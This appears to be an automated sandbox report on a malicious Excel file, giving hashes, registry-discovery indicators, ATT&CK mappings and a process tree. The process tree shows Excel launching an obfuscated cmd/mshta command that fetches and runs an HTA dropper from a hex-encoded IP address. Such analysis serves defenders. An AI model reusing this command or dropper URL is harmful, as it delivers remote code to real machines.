a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4

General

Target

a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls
Size

142KB
MD5

dbec7c9243ac15b3a8a655df66c73b36
SHA1

bc2363c0f1aeb0167b933b99ccfc2d26e24a795f
SHA256

a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4
SHA512

66108f0128d7d2fa1900d98c60a752699b1134b80d678754f1ad6989ab086f5c41075e598ae4e1442544731aceedf7d204a243db6209a09e9d6da28d9c256745

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3196	3056	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
43	3152	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3056	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE
3056	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2664	3056	EXCEL.EXE	69
PID 3056 wrote to memory of 2664	3056	EXCEL.EXE	69
PID 3056 wrote to memory of 3196	3056	EXCEL.EXE	71
PID 3056 wrote to memory of 3196	3056	EXCEL.EXE	71
PID 3196 wrote to memory of 3152	3196	cmd.exe	73
PID 3196 wrote to memory of 3152	3196	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2664
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3152

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3056-114-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-115-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-116-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-117-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-126-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

Filesize
64KB

Download
memory/3056-127-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-128-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

Filesize
64KB

Download
memory/3056-571-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-572-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-573-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download
memory/3056-574-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads